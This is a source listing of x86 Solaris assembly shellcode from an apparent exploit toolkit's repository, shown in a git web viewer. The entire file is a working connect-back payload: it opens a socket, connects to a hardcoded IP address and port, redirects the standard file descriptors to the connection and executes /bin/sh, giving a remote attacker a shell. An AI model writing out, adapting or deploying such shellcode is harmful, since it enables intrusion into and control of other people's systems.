summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_solaris/connectsh.s
blob: 155015a9f8315a2ded0caa07f060a231ab7e683a (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/* x86/solaris connectsh shellcode (83 bytes)
   
   lorian / teso
*/

	.globl  _cbegin
	.globl	cbegin
	.globl  _cend
	.globl	cend

_cbegin:
cbegin:
	movl	$0x3cfff8ff, %eax
	notl	%eax
	pushl	%eax
	xorl	%ebp, %ebp
	mull	%ebp
	movb	$0x9a, %al
	pushl	%eax
	movl	%esp, %ecx
	
	pushl   %ebp
	incl    %ebp
	pushl   %ebp
	incl	%ebp
	pushl   %ebp
	movb    $0xe6, %al
	call	*%ecx
	xchgl   %esi, %eax
	pushl	$0xcab058c3
	pushw	$0x4444
	pushw	%bp
	movl	%esp, %edi
	pushl   $0x10
	pushl	%edi
	pushl   %esi
	xorl    %eax, %eax
	movb    $0xeb, %al
	call    *%ecx
a:      pusha
	pop     %esi
	movb	$0x3e, %al
	call	*%ecx
	decl	%ebp
	jns	a
	pushl	%edx
	push    $0x68732F6E
        push    $0x69622F2F
	movl	%esp, %ebx
	pushl	%edx
	pushl	%ebx
	movl	%esp, %edi
	pushl	%edx
	pushl	%edi
	pushl	%ebx
	movb	$0x3b, %al
	call	*%ecx
							
_cend:
cend: